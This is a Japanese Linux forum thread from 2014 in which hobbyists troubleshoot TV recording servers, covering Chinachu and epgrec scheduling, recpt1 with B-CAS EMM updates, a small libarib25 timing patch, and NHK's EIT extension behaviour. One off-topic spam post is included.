http://www.forest.impress.co.jp/docs/news/20130712_607519.html

ここ読むとGPUでのエンコードって可能なの??

758
login:Penguin[sage]   投稿日:2014/10/08 11:59:21  ID:zlF5Ypkm.net
支那厨って使いやすいのかな

759
login:Penguin[sage]   投稿日:2014/10/08 12:22:56  ID:XhFwurAT.net
録画中心だったらchinachuが一番お勧め。リアルタイム視聴はまだ安定してないけど、ネットワーク越しにwinでもmacでもlinuxでも視聴OKなのもよい。
つか、使ってみりゃいいじゃん。フリーなんだし

760
login:Penguin[sage]   投稿日:2014/10/08 12:26:30  ID:kPI/r1y4.net
アニメ特化ならfoltiaAL>Chinachu
キーワード特化ならChinach>foltiaAL
番組表からならChinachu>=epgrec>foltiaAL

ってのが俺の独断と偏見

761
login:Penguin[sage]   投稿日:2014/10/09 17:33:06  ID:d4GZg+go.net(2)
chinachu入れてみてまだ数日なんだけど、現時点ではiOSでのライブ視聴が
できないのと、作成したルールから予約リストへの反映がなんか直感的じゃ
ないのがイマイチ。

前者はともかくとして、後者は、結局作ったルールでどの番組にマッチして
どういうスケジュールで録画されるのかがすぐにわからなくて辛い。
それとも使い方が間違ってるんだろうか…?

762
login:Penguin[sage]   投稿日:2014/10/09 18:01:10  ID:d4GZg+go.net(2)
2重書き込みのため表示しません 内容を確認する

763
login:Penguin[sage]   投稿日:2014/10/09 19:00:21  ID:NMWxAa6p.net(2)
EPGから番組選んで右クリックからルールの作成、が分かりやすいかも。ルールからスケジューラーの実行で予約済みに出てくるんじゃ分かりにくい?
ルール関連で不満があるというのは伝わるけど、イマイチ具体的な不満点が分からん。俺の理解力が足りないんだと思うが

764
login:Penguin[sage]   投稿日:2014/10/09 19:33:00  ID:UO1PUdqY.net
ルールを確認する為に、いちいちいスケジューラを実行しないといかんのが面倒ではあるね。
「このルールで検索」ってのが有れば助かるんだけどな。

765
login:Penguin[sage]   投稿日:2014/10/09 19:41:20  ID:NMWxAa6p.net(2)
細かいことを気にしない俺は新しいルール作っても面倒なんでスケジューラーの実行もしないでほっとく
んで気がつくとちゃんと予約されてるw
スケジューラー実行のタイミングとかはgithubにある公式のwiki見ればあるんじゃね
コメント1件

766
login:Penguin[sage]   投稿日:2014/10/10 13:10:44  ID:GZeqRxe1.net
うわ、書き込みが反映されないからもっかい書いたら二重カキコになってもーた。

なんかおかしいと思って調べてみたら、いつの間にかスケジューラのPIDファイルが
残ったままだった。そりゃ何回クリックしてもスケジューラは実行されないわなorz

ルール作成時のチャンネル名も、局名じゃなくてSIDベースになっててわかりにくい。

今はTvRockを家族と共用してるんだけど、なんとなくchinachuへ移行するのは
家族にとってハードル高そうな感じがするかな。

って、こんな所で文句言ってないで、コード書いてpull request投げろって
話なんだろうけど。

767
login:Penguin[sage]   投稿日:2014/10/10 20:16:36  ID:aSbaMf5l.net
うわ、書き込みが反映されないからもっかい書いたら二重カキコになってもーた。

なんかおかしいと思って調べてみたら、いつの間にかスケジューラのPIDファイルが
残ったままだった。そりゃ何回クリックしてもスケジューラは実行されないわなorz

ルール作成時のチャンネル名も、局名じゃなくてSIDベースになっててわかりにくい。

今はTvRockを家族と共用してるんだけど、なんとなくchinachuへ移行するのは
家族にとってハードル高そうな感じがするかな。

って、こんな所で文句言ってないで、コード書いてpull request投げろって
話なんだろうけど。

768
login:Penguin[sage]   投稿日:2014/10/10 20:37:37  ID:Zg5iM30z.net(2)
時間差二重投稿
これは流行る悪寒

769
login:Penguin[sage]   投稿日:2014/10/10 20:38:22  ID:Zg5iM30z.net(2)
別人かも?

770
login:Penguin[sage]   投稿日:2014/10/12 16:08:38  ID:sZHmv5Uw.net
systemdにしてから、recpt1が上手く行かなくなった。デコードされずに生ストリームで録画するようになった。
挙動を調べたら、pcscdの起動が完了する前にB-CASカードを取ろうとしてlibarib25がこけて、生ストリーム吐くモードに移行してた。

しょうがないから、pcscd起動させてからカードが刺さってるかどうか調べるまで一秒待たせてみた。
パッチ↓
動作保証はしない(`・ω・´)
-------------
--- b_cas_card.c.orig 2014-10-12 15:46:34.290926326 +0900
+++ b_cas_card.c 2014-10-12 15:56:53.274764391 +0900
@@ -3,6 +3,7 @@

#include <stdlib.h>
#include <string.h>
+#include <unistd.h>

#include <math.h>

@@ -153,7 +154,8 @@
if(ret != SCARD_S_SUCCESS){
return B_CAS_CARD_ERROR_NO_SMART_CARD_READER;
}
-
+ sleep(1); // Dirty hack.
+
ret = SCardListReaders(prv->mng, NULL, NULL, &amp;len);
if(ret != SCARD_S_SUCCESS){
return B_CAS_CARD_ERROR_NO_SMART_CARD_READER;
コメント1件

771
login:Penguin[sage]   投稿日:2014/10/12 23:17:41  ID:O788uume.net
recpt1 たまにこのエラーになるんでかど、直す方法ってある?

b25->put failed
b25_decode failed (code=-5). fall back to encrypted recording.
コメント1件

772
いぼっ[]   投稿日:2014/10/13 03:41:16  ID:qKeJy4Y4.net
男嫌いでオタクという設定にすれば食いつくんだろスレ
男嫌いでオタクという設定にすれば食いつくんだろ /声優総合板

お前らのんきにイベント行ってる場合じゃないぜ
身を守りたかったら99要チェック
あ?何だ109は?補足情報120 犯罪暴露か?131、132、135、136
こいつなんでこんなに書かれてるんだ?
160、161どうしたもんかね?本人じゃね? 34歳だと?236
おっと良妻賢母の学校か〜244 ,247そーなのか〜ほー
254このマットてのはグラウンドの住宅に面した金網に脈絡なく汚ねえ立てかけ方されてるやつじゃね?取りに来たやつ悪い奴ってことか。
256,304,326,339ほー 352,355,357マジかよ、こりゃ許せねーなー変○者?
371,373ストー○ーでもあるのか、ほー375,378,406,475ほー435,456,474人事の人大丈夫?

773
login:Penguin[sage]   投稿日:2014/10/13 12:32:50  ID:/xMjmERj.net
BonDriver共有ツール総合 /DTV板
のスレの542さんに、ドライバモジュールのTsSplitterの問題点をレポートしていただきました
放送データの運用方法として、(おそらくレアではあるものの)仕様的には許されるパターンを見落としていたのが原因です
このパターンに遭遇すると、最悪ECM等を削除してしまう事になるので、コンテンツを復号できなくなったりします
(特に1サービス1チャンネルモードで使用している方は)お手数ですが更新お願いします(;´Д`)
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/commit/ec4...

774
login:Penguin[sage]   投稿日:2014/10/13 22:43:59  ID:S3wvP1yL.net
>771
libarib25に>770のパッチを当ててビルドしなおして試してみて。
コメント1件

775
login:Penguin[sage]   投稿日:2014/10/14 02:10:35  ID:+6XljqJ6.net
>774
どっちかと言うと>750だと思う

776
login:Penguin[sage]   投稿日:2014/10/14 17:54:53  ID:jI+B29yu.net
recpt1でEMM処理が上手く行った試しがないんだけど、みんな出来てんの?
ちなみにUbuntu12.04です。

777
login:Penguin[sage]   投稿日:2014/10/15 01:03:12  ID:N7PyqqvM.net
うまく行ってるかどうかしらんけど、EMMオプションを使って番組表取得するようにdorecord.shを変えたらカードのデータ更新がされるようになった
と思ってる

778
login:Penguin[sage]   投稿日:2014/10/19 14:22:26  ID:dpigh9zz.net
chinachu で bcas ソフト使えますか

779
login:Penguin[sage]   投稿日:2014/10/20 04:47:00  ID:IIqY1fSI.net(3)
チョット何イッテルカ分カラナイデース

780
login:Penguin[sage]   投稿日:2014/10/20 15:07:06  ID:dJcUh1zA.net(2)
たった今chinachu導入してみたけど
スケジューラーって手動でポチポチしてやらないとなんだな
毎週ポチポチは面倒だしcronとかで何とかして世話してみよう

781
login:Penguin[sage]   投稿日:2014/10/20 15:11:33  ID:IIqY1fSI.net(3)
EPGから「ルールの作成」

782
login:Penguin[sage]   投稿日:2014/10/20 15:34:41  ID:IiDJJ9DH.net
主な機能

・EPGドリブン ←

783
login:Penguin[sage]   投稿日:2014/10/20 15:38:59  ID:dJcUh1zA.net(2)
これルール作った後定期的にスケジューラーの実行とか押してやらなくていいのか?
なにか重大な勘違いをしていたな
コメント1件

784
login:Penguin[sage]   投稿日:2014/10/20 15:45:09  ID:IIqY1fSI.net(3)

785
login:Penguin[sage]   投稿日:2014/10/22 22:00:16  ID:wvYesKch.net
ubuntu 14.04 64bit kernel 3.13.0-37 で、pt1_drvのinsmodに失敗する様です。

786
login:Penguin[sage]   投稿日:2014/10/23 13:18:09  ID:yIjftr4D.net
dvb版のドライバ無効化してないだけなんじゃないの

787
login:Penguin[sage]   投稿日:2014/10/23 14:24:08  ID:cn1f0HiU.net
linuxの録画環境は統一感というか整然としてないな

788
login:Penguin[sage]   投稿日:2014/10/23 20:10:05  ID:IEjuheIx.net(6)
recpt1ってBSの有料放送受信するのになんかしてやんないとなのか?
お金は払ってるが映らね・・・

789
login:Penguin[sage]   投稿日:2014/10/23 20:16:44  ID:zNHm17Ho.net(4)
契約してBCASカードはどうしてる?
pcsc_scanしたらなんて出る?

790
login:Penguin[sage]   投稿日:2014/10/23 20:24:52  ID:IEjuheIx.net(6)
BCASは録画機のカードリーダーに刺しっぱなしです
pcsc_scanは
Japanese Chijou Digital B-CAS Card (pay TV)
とか出てるから動いている・・・と思う

791
login:Penguin[sage]   投稿日:2014/10/23 20:28:02  ID:zNHm17Ho.net(4)
契約済みの有料chじゃなく、NHKBSでもダメ?

792
login:Penguin[sage]   投稿日:2014/10/23 20:32:00  ID:IEjuheIx.net(6)
NHKはBS1もBSプレミアム、あとその他無料放送などは見れてます

793
login:Penguin[sage]   投稿日:2014/10/23 20:37:13  ID:zNHm17Ho.net(4)
それだと、有料チャンネルの契約済み信号をbcasカードが受け取ってないだけ可能性も(契約手続きし終わったばかりなら)
いつ契約手続きした? テレビでは有料チャンネルも視聴できてた?

794
login:Penguin[sage]   投稿日:2014/10/23 20:43:31  ID:IEjuheIx.net(6)
手続自体は二年前くらいだったかと
テレビでは見れてました

契約済み信号を受け取るってことは、映らなくても二・三時間くらい受信させてやればいいのかな

795
login:Penguin[sage]   投稿日:2014/10/23 20:47:58  ID:zNHm17Ho.net(4)
2年前から視聴できてたなら問題ないはず
何だろう?

796
login:Penguin[sage]   投稿日:2014/10/23 20:51:14  ID:RFH5Yplo.net(3)
>BCASは録画機のカードリーダーに刺しっぱなしです

linuxに挿してるカードが別物(非契約)というオチか?

797
login:Penguin[sage]   投稿日:2014/10/23 20:59:27  ID:IEjuheIx.net(6)
不安になってカード番号調べたけど
どうやら間違ったものを刺してる訳でもないみたいです

とりあえず
recpt1 --b25 BS07_1 10800 test.ts --device /dev/pt3video1
とかやって放置してみます

798
login:Penguin[sage]   投稿日:2014/10/23 21:01:23  ID:RFH5Yplo.net(3)
--EMMオプションも付けないと、契約情報の更新されないので注意ね。

799
login:Penguin[sage]   投稿日:2014/10/23 21:32:53  ID:1mp8HuSP.net
何ヶ月も視聴してないと、EMM信号が送られなくなるようだぞ。
契約chに電話して信号送ってもらわないと。
コメント1件

800
login:Penguin[sage]   投稿日:2014/10/23 21:37:13  ID:FceHZWDS.net(2)
一晩テレビに刺しとけば受信してまた使えるようになるよ

801
login:Penguin[sage]   投稿日:2014/10/23 21:39:14  ID:FceHZWDS.net(2)
なので番組表作成のための受信時にはemmオプションあり、通常の録画時はなしとなるようにdo-record.shを変えて使ってますよ。

802
login:Penguin[sage]   投稿日:2014/10/23 22:08:28  ID:IEjuheIx.net(6)
今度からemmオプションつけっぱなしにしようかと思ったんですが、
使い分けるってことはつけっぱだとまずいんですか?

803
login:Penguin[sage]   投稿日:2014/10/23 22:19:11  ID:RFH5Yplo.net(3)
使い分けは、録画中のCAS負荷をなるべく抑えたいという意図かと。
個人的には常時ONでもよさそうな気もしますが。
使い分けのほうが安心感はあります。

804
login:Penguin[sage]   投稿日:2014/10/24 17:07:46  ID:2weC2ZFV.net
EMMオプションつけて寝てる間にrecpt1走らせっぱなしにしてみたけど映らなかった
どうしたものか

面倒だが >799の言うとおり電話するしか無いのだろうか
尚元々BCASが刺さっていたテレビはあの世に旅立った模様
コメント1件

805
login:Penguin[sage]   投稿日:2014/10/24 18:44:08  ID:Lt3B+GxY.net
>804
どう走らせたのか気になるが聞かないでおく

806
login:Penguin[sage]   投稿日:2014/10/24 18:45:38  ID:xY94CKOw.net
局側はそう言うの慣れてると思うので、電話すればすぐ流れてくるようになると思いますよ

ついでに言うと、libarib25はEMMを実際にカードに投げる前にそれが自分のカード宛ての物なのかを確認するので、
CAS処理でのカードの負荷増になるのは、自カード宛てのEMMが来た場合のみです
よほどすごい使い方(あるいは意図して無視したいとか)でない限りは、EMM処理は常時onでも大丈夫だと思いますよ
EMMの周期って(局や時期によっても違うと思いますが)結構長い事もあるので、EPG取得程度の時間じゃ、
ハズレ引き続けると全然更新されない可能性もありますしね

807
login:Penguin[sage]   投稿日:2014/10/24 20:51:02  ID:Gl/OlUSi.net
今過去ログ読み終わった。
結構開発進んでるのねぇ・・・・
昔Windowsでは録画鯖やってたけど(PT3*3枚で)
Linuxで始めるならどれがいいんだろうか?
(OSはCentOS6.5辺りで検討中)

シロート向けのサイトが有れば嬉しいんだけど。

808
login:Penguin[sage]   投稿日:2014/10/24 21:53:11  ID:K0OFO3hX.net
どういう録画鯖にしたいのかにもよるしそれだけだと何とも
そもそもどうしてLinuxで始める必要があるの?

809
login:Penguin[sage]   投稿日:2014/10/24 21:59:58  ID:NTHjz3x1.net
chinachuあたりから始めてみればいいんじゃね
foltiaの有償版のぞけば基本的にフリーなんだし

810
login:Penguin[sage]   投稿日:2014/10/25 01:48:41  ID:OW5De62i.net
Chinachu作者のTwitterに延長対応したって書いてあるけど、まじ?

811
login:Penguin[sage]   投稿日:2014/10/25 04:06:43  ID:9ccRecWp.net

812
login:Penguin[sage]   投稿日:2014/10/25 04:43:05  ID:cs9XIo/v.net
>811
録画中の延長を訂正できるんじゃなくて
前の番組から玉突きくらった場合の訂正ができるだけみたい?
「延長対応」といえるのかはともかくアニメに照準合わせてるChinachu的にはこれで十分鴨

813
login:Penguin[sage]   投稿日:2014/10/25 05:03:36  ID:L1hCw8EY.net(2)
まだepgdumpを使っているからNHKで失敗する可能性が高い
コメント1件

814
login:Penguin[sage]   投稿日:2014/10/25 10:31:00  ID:RrxuRbOl.net
もう一回受信放置してやったら映った
ありがたや

815
login:Penguin[sage]   投稿日:2014/10/25 13:49:40  ID:nSkD2CqE.net
只今絶賛構築中。
やっとts出来るトコまで来た。
手順まとめてるけど需要ある?
コメント1件

816
login:Penguin[sage]   投稿日:2014/10/25 14:42:18  ID:YdfcDNN7.net
>813
epgdumpの他っていうとtsParserかな?
epgdumpより情報が多く取れるからchinachuに使えないかなと思ってたところです

817
login:Penguin[sage]   投稿日:2014/10/25 14:59:26  ID:L1hCw8EY.net(2)
>817
延長時のEITの挙動を理解してそれに対応した処理が無ければなに使っても同じ
コメント1件

818
login:Penguin[sage]   投稿日:2014/10/25 15:09:20  ID:W56wjqp/.net
>815
ある!ぜひ!

819
login:Penguin[]   投稿日:2014/10/25 17:32:14  ID:1ocDiSld.net
Partedで間違えてOS飛ばしたバカです…orz
Blog書きながらやってたのが幸いで
再度構築なう。

まぁ記事の間違い直しが出来たからいいか

820
login:Penguin[sage]   投稿日:2014/10/26 14:58:26  ID:17p2Sl+A.net
>817
いったんファイルに落としてるようじゃ…てことですかね
NHKはEITの挙動が他と違うの?
コメント1件

821
login:Penguin[sage]   投稿日:2014/10/26 16:43:06  ID:aHeU8u4B.net(2)
>820
>NHKはEITの挙動が他と違うの?
そのとうり
臨機応変な番組編成をしているので arib仕様をフル活用している

EITには「今・次」の「全体」の2種類があって通常は内容が同期しているんだが
NHKは、延長などで番組編成を変更すると「今・次」だけ更新して「全体」の方は定期更新時まで放置
特に現番組が延長してると「今・次」の内容も「現放送終了時間未定・次番組そのものが未定」になってしまう
民放の場合は、延長時には現放送の終了時間に仮値をいれて「今・次」と一緒に「全体」も随時更新しているので
利用側は対応が楽チン

他に酷いのだと「変更がある場合、番組開始30秒前にEITを更新しなければいけない」という規定があるが
「間に合わなければその限りではない」というのもありそれを実践してくる

epgdumpがだめなのは EITの「今・次」と「全体」をマージして出力している関係でNHKの番組編成変更に対応するのに
必要な情報が欠落してるから
これは他のパーサーにも当てはまるかも

822
login:Penguin[sage]   投稿日:2014/10/26 17:34:20  ID:i4EFvmX7.net
つまり新規にEIT取得アプリを作らなければならないって事?

823
login:Penguin[sage]   投稿日:2014/10/26 19:42:18  ID:aHeU8u4B.net(2)
「今・次」と「全体」を分離すればいいだけなので既存のものを改造すればいいよ
問題は分離した形でどう出力するかだけど
理想は、chinachu薄潮みたいにパーサーをフロントエンドに内蔵した上で
EITを常時監視するのがいいんだけどね

あと epgdumpの派生版で対応してるのがあるからそれを使うのも手
ただし出力内容やフォーマットが違ったりするので入れ替えてOKでは済まない

はなし変わるけど chinachuの中の人、NHKは他と挙動が違うの理解してるんかな・・・
コメント1件

824
login:Penguin[]   投稿日:2014/10/26 20:06:26  ID:ggFL0eD+.net
UTF-8なら番組情報のパーサーを作ろうかなと思えるけど、なんか特殊な文字コード使ってるよね
TSのヘッダを触るのは楽だけど文字コードの変換が面倒で挫折した覚えがある
コメント1件

825
login:Penguin[sage]   投稿日:2014/10/26 22:37:52  ID:st1hdJhi.net
>824
その辺はライブラリ使えば良いだけだよ
aribb24なりTVTestのCAribStringなり(ちなみにepgdumpも元はCAribString)

826
login:Penguin[sage]   投稿日:2014/10/26 23:06:54  ID:quJ4oihX.net
んー
色々ハマったけど、出来たような気がする。
早速ルール作成と手動予約。
無料な日もあるのね<某チャンネル

827
820[sage]   投稿日:2014/10/27 02:46:43  ID:lOUc8dv7.net(2)
>823
詳しい解説ありがとうございます
よければchinachu薄潮とepgdump派生版、教えて欲しいです
ググったけど分からなかった…

民生品の録画機とかはEIT常時監視してるんですかね
地上波とBSのチューナーを常に1つ稼働させて、録画するときもそこからの
ストリームで録る、と(チューナー占有しない)
常時じゃなくても予約の時間帯は頑張るようにしたいですね…
四月は君の嘘の初回が世界体操の延長で5分しか録れてなくて、
録画責任者の俺は嫁から叩かれました
なんとかしたい…
コメント3件

828
login:Penguin[sage]   投稿日:2014/10/27 03:03:38  ID:QRIsXjs7.net
>827
https://twitter.com/Chinachu_REC/status/504054745053421568

うちは最近アップデートしたら野球延長されても大丈夫なようになってた
コメント1件

829
login:Penguin[sage]   投稿日:2014/10/27 03:24:49  ID:HcmNMqFt.net
嫁用家電レコーダを導入して録画責任者を辞任したほうがよくね?
コメント2件

830
login:Penguin[sage]   投稿日:2014/10/27 04:09:30  ID:lOUc8dv7.net(2)
>828
ありがとうございます、開発版ブランチがあるんですね

>829
テレビ買うときに、自前でやるから録画機能は要らぬ!と大見得をきって
新規で録画マシンを組んだ手前、そこは引けませぬ…
コメント1件

831
login:Penguin[sage]   投稿日:2014/10/27 07:57:18  ID:BQ6rf+/R.net
>827
派生版つか
http://d.hatena.ne.jp/katauna/
これについてるやつじゃね?
コメント2件

832
login:Penguin[sage]   投稿日:2014/10/27 09:45:44  ID:ytUb0pQB.net(2)
>860気持ちはわかるけど、俺も>829が絶対的に正しいと思うなぁ
コメント1件

833
login:Penguin[sage]   投稿日:2014/10/27 09:58:23  ID:FvJMiSLk.net
OSをWindowsにしたら使いやすいソフトが揃ってるのに
コメント1件

834
login:Penguin[sage]   投稿日:2014/10/27 10:07:05  ID:CWs6/kCP.net
860のカキコが試される悪寒
期待しよう

835
login:Penguin[sage]   投稿日:2014/10/27 10:45:32  ID:i3z5ksm4.net(2)
>830
おれも>832に同意。
でなければガンガルしかないw

836
823[sage]   投稿日:2014/10/27 12:37:02  ID:lSaNX93Z.net
>827
>chinachu薄潮
chinachuの次期バージョンで現在開発中

>epgdump派生版
>831のやつです

私は>831の epgrecUNAを使ってます
番組延長による繰り下がりで録画に失敗したことは無いです
>四月は君の嘘の初回が世界体操の延長で5分しか録れてなくて、
も撮れています
また録画中番組も次の番組を予約しておけば終了時間が変更されても合わせてくれます
コメント1件

837
login:Penguin[sage]   投稿日:2014/10/27 16:53:55  ID:ytUb0pQB.net(2)
なぜ・・・俺は>860に振ったんだ・・・
コメント1件

838
login:Penguin[]   投稿日:2014/10/27 17:21:03  ID:ooblbN8C.net
普通の嫁レベルだと見て消すがデフォだから、もしプレステ持ってるならナスネで十分だぞ

839
login:Penguin[sage]   投稿日:2014/10/27 17:22:13  ID:9FYGVnzO.net
どうでもいいけど Chinachu の中の人がここ見てたらしょぼかるへの番組予約アップロードに対応して欲しい

840
login:Penguin[sage]   投稿日:2014/10/27 18:33:51  ID:i3z5ksm4.net(2)
>837
ダイナミックなアンカーだなw

オレはrecpt1+chinachuで動かしてみた。
もちっと触ってみないとなんとも言えないけど。

841
830[sage]   投稿日:2014/10/27 23:42:29  ID:Yd7gomEs.net
>836
ありがとうございます
chinachuは最近延長に対応したみたいなので様子見してみようと思います
暫定対応っぽいので、本命はうすしおですかね
今からうすしお突撃したい気持ちもありますが、録画マシンで地雷踏むと痛い…

epgrecUNAは延長対応完璧なんですね
ううむもう一台チューナーマシンが欲しい…

録画責任者辞任せよとのご意見が多数で意外でした
みなさんそんな感じなんですかね…
たしかに家電のほうが何かと便利ですが、タイヤ交換できる父親といいますか
IT DIYは私としては唯一の特技なので、死守したいところです!
コメント2件

842
login:Penguin[sage]   投稿日:2014/10/28 00:08:45  ID:4/sYK5W/.net(2)
嫁の録画は嫁に任せておけば気楽じゃないか〜
叩かれる心配なくDIYに専念できると思うんだけどw
まぁ気持ちはワカル

843
login:Penguin[sage]   投稿日:2014/10/28 01:20:23  ID:G+1aFK6I.net
「PCで出来ること」の範囲が広がるかどうか、今後の趣味への投資予算獲得に影響するような

844
login:Penguin[sage]   投稿日:2014/10/28 01:27:58  ID:EoeEKfNW.net
>833
なんだかんだでWindowsの方がまだ1歩抜きん出ているね残念だけど
コメント1件

845
login:Penguin[sage]   投稿日:2014/10/28 10:21:04  ID:uI01UInF.net(2)
>841
うすしお・・・初めて聞いた。
一体何???(ggrksは承知之助)

まぁChinachuで今のところは運用中だけど。
コメント1件

846
login:Penguin[sage]   投稿日:2014/10/28 10:32:36  ID:uzu7Utic.net
>844
そうなんだ…WindowsはTV Rockというのが高機能なんですかね?
開発環境だったりネットワーク透過だったりの部分で、Linuxのほうが
録画マシンには向いてるだろうとずっと思ってましたが、、、
何だかんだいって人材が豊富なんですかね

>845
https://twitter.com/Chinachu_REC/status/473772871764807680
コメント2件

847
login:Penguin[sage]   投稿日:2014/10/28 10:34:55  ID:vh4V2r2I.net
>841
気持ちはわかるけど、ぶっちゃけ安定性で比較すれば、Linuxの録画システムと家電は比べちゃいけないレベルだしな。
ある意味録画失敗しても仕方がない、って気持ちがどこかにないと、これ一本でやるのは無理があるだろ。
そういうわけで、嫁に頼まれた番組とか、失敗しちゃいけない録画なら家電がベストだよ、ってことでしょ。

848
login:Penguin[sage]   投稿日:2014/10/28 10:37:11  ID:zMvc5HWF.net(2)
Windowsはフリーソフト中心で種々のソフトを組み合わせて動かす感じ
Linuxはオープンソース中心で自分でソースファイルを書き換えて何とかする感じ

849
login:Penguin[sage]   投稿日:2014/10/28 10:57:52  ID:rRRflTHb.net
家電もlinuxじゃなかったのか
コメント1件

850
login:Penguin[sage]   投稿日:2014/10/28 11:04:04  ID:H3GaqOdL.net
>849
それがどうしたんだよ

851
login:Penguin[sage]   投稿日:2014/10/28 11:05:59  ID:zMvc5HWF.net(2)
家電はだれでも使えなきゃいけないから
信頼性、操作性向上のためにお金と時間をかけて多数の技術者が作業してる
同じレベルにオープンソースで到達するのは難しいってことでしょう

852
login:Penguin[]   投稿日:2014/10/28 11:17:52  ID:r788kPRk.net
USB/IPでチューナー繋いでる人居ますかね…

853
login:Penguin[sage]   投稿日:2014/10/28 11:24:53  ID:uI01UInF.net(2)
>846
おお・・・さんくすこ
config.json使いまわせるといいなぁ・・・・
(だって、チャンネル設定超めんどくさいんだもん)

854
login:Penguin[sage]   投稿日:2014/10/28 11:56:45  ID:ifxNEXyB.net
>846
TVRockよりEpgDataCap_Bonの方がより良いよ

855
login:Penguin[sage]   投稿日:2014/10/28 14:31:44  ID:4/sYK5W/.net(2)
>860に期待

856
login:Penguin[sage]   投稿日:2014/11/02 15:09:46  ID:xPFdgYTn.net(2)
今日Chinachuをアップデートしたら
時々しか動作しないライブ視聴が全滅でござる/(^o^)\

857
login:Penguin[sage]   投稿日:2014/11/02 15:13:15  ID:2mcP/vCa.net(3)
os再起動して1,2時間ほっとけ
コメント1件

858
login:Penguin[]   投稿日:2014/11/02 16:08:30  ID:ttozdB2c.net
Chinachuで
何日も前のものが録画中になっている!
しかもファイルサイズが小せえ!

と思ったらHDD満杯であったでござる/^o^\

859
login:Penguin[sage]   投稿日:2014/11/02 16:25:42  ID:+5wxkOmw.net
うちのchinachuはBS1録ると101と102でダブって2つ録画されるようになった
延長対応の副作用かなー
コメント1件

860
login:Penguin[sage]   投稿日:2014/11/02 18:32:34  ID:xPFdgYTn.net(2)
>857
epg取得でlockしてる訳じゃ無いのでござる/(^o^)\
コメント3件

861
login:Penguin[sage]   投稿日:2014/11/02 18:50:00  ID:2mcP/vCa.net(3)
そればかり分かってるから騙されたと思ってやってみ
全盛期のイチローの打率くらいにはもどるから

862
login:Penguin[sage]   投稿日:2014/11/02 18:50:46  ID:2mcP/vCa.net(3)
変な日本語になってるがまぁいいか

863
login:Penguin[sage]   投稿日:2014/11/02 18:56:03  ID:CfQP0qw8.net
Chinatuって「騙されたと思って1、2時間放置」で落ち着くのかぁ…
TvRockにも「おまじない」ってあったなぁ…

864
login:Penguin[sage]   投稿日:2014/11/02 18:57:07  ID:s/ys1TFP.net
Chinachuろくなもんじゃねぇな

865
login:Penguin[sage]   投稿日:2014/11/03 01:18:43  ID:+zamUVMI.net(2)
Win時代はTvRockの謎の歯ぬけがどうやっても治らないので手を焼いて
Linuxへ epgrec入れてやってみると他にもいろいろパッチ入れないとちゃんとならないのでちょっと使って挫折
インストールが簡単なChinacuは斬新だけど挙動が謎なところが多いので1週間でやめた
今はepgrecUNAが一番堅実でかつ機能十分で安定してると思う
時間延長も大丈夫だし

866
login:Penguin[sage]   投稿日:2014/11/03 02:29:53  ID:il0OPcMF.net(2)
>859
うちはそんなこと起きなかったけど
中の人に聞いてみたら?

867
login:Penguin[sage]   投稿日:2014/11/03 04:15:08  ID:EC5pLSFh.net(2)
こっちは epgrec で安定だわ
録画していない時の自動スリープも完璧に動く
コメント1件

868
login:Penguin[sage]   投稿日:2014/11/03 04:26:18  ID:il0OPcMF.net(2)
>867
ところで、何故スリープしてるかっていうちゃんとした理由ありますか?
うちはスリープしちゃったら不便だしHDDに悪いから全然考えたこと無かったけど。
よろしければ教えてください

869
login:Penguin[sage]   投稿日:2014/11/03 04:36:24  ID:EC5pLSFh.net(2)
つ電気代

870
login:Penguin[sage]   投稿日:2014/11/03 07:18:31  ID:nkN30iI4.net
後、うるさくて仕方がないとか。
無いか。

871
login:Penguin[sage]   投稿日:2014/11/03 07:25:49  ID:+zamUVMI.net(2)
外からもよくweb予約入れるからサーバになってないとうちは意味がないな
Atom機だから電気代は気にしてない
HDDだけスピンダウンするようにしておきゃいいんじゃない
コメント1件

872
login:Penguin[sage]   投稿日:2014/11/03 09:06:13  ID:rfVrbIka.net
うるさいから

873
login:Penguin[sage]   投稿日:2014/11/03 09:15:28  ID:z4wEG0Tl.net
>871
外からの予約、についてだけなら
最近の家庭用ルータにはWOLパケット送信機能がついているものも多いから
(頻度が少なくて手間がかかるのに目をつぶれるならば)
なんとかなることも多いけどね

まあ電気代と音が問題ないなら
スリープ運用は必要ないと俺も思うけど

874
login:Penguin[sage]   投稿日:2014/11/03 14:33:49  ID:fQEZfDo/.net
chinachuのライブ視聴は何時になったら動くのですか?(≧Д≦)

875
login:Penguin[sage]   投稿日:2014/11/03 15:43:21  ID:ahyMMWCj.net
ライブ視聴用にテレビ買えばいいんじゃね

876
login:Penguin[sage]   投稿日:2014/11/03 16:24:01  ID:cig0lSOk.net
ライブ視聴ってなんか不具合あったっけ?
ウチは24時間運転にしてる。静音化したし。

877
login:Penguin[sage]   投稿日:2014/11/03 16:26:10  ID:ewdYHxvQ.net
録画数も大して多くないし、外から録画なんか皆無だから
スタンバイ運用だね
結局人それぞれ

878
login:Penguin[sage]   投稿日:2014/11/03 20:32:23  ID:DiBrHay+.net
自作シェルスクリプトとcronでやってた頃は目覚ましセットさせてshutdown してたけど、
マシン新調してからはエンコもするようになったからほぼ起動しっぱなし
サスペンドとかハイバネートでもチューナー安定して使えるのかな?
電気代気になるものの、あまり頻繁に電源断するとハードディスク心配だったり

879
login:Penguin[sage]   投稿日:2014/11/03 22:29:24  ID:SAgSiO1z.net
スピンアップで壊れるとかもう都市伝説レベルじゃね?
コメント2件

880
login:Penguin[sage]   投稿日:2014/11/03 23:46:16  ID:Fz1k/4nD.net
スピンアップできる回数は有限らしい

881
login:Penguin[sage]   投稿日:2014/11/04 08:16:47  ID:dtUB/y4/.net
>879
甘い

882
login:Penguin[sage]   投稿日:2014/11/04 08:29:00  ID:vyFCO9So.net(2)
>879
24時間稼働のマシンを引っ越しで電源落としたら
二本死んだよ。

883
login:Penguin[sage]   投稿日:2014/11/04 08:45:00  ID:Ru9AGKrc.net
マジかよ。大容量SSDはよ

884
login:Penguin[]   投稿日:2014/11/04 11:28:20  ID:JLf/Xu2C.net
常時電源ONでもHDD逝きましたけどね、つい1週間前・・・
バックアップしてなかったので録画鯖再構築中。

885
login:Penguin[sage]   投稿日:2014/11/04 12:42:39  ID:j1JxXxG/.net(2)
chinachuでライブ視聴を楽しんでたが
CS放送のxspfはうまく動かんのな
エラー出てしまう

886
login:Penguin[sage]   投稿日:2014/11/04 13:26:57  ID:TuQDCclB.net
支那厨

887
login:Penguin[sage]   投稿日:2014/11/04 13:31:52  ID:j1JxXxG/.net(2)
なんかごめん

888
login:Penguin[sage]   投稿日:2014/11/04 13:35:14  ID:E1wii0Wg.net
ライブ視聴、特にxpsfは安定してないというのは中の人も公認だから。githubにあるchinachu公式一読するよろし。

889
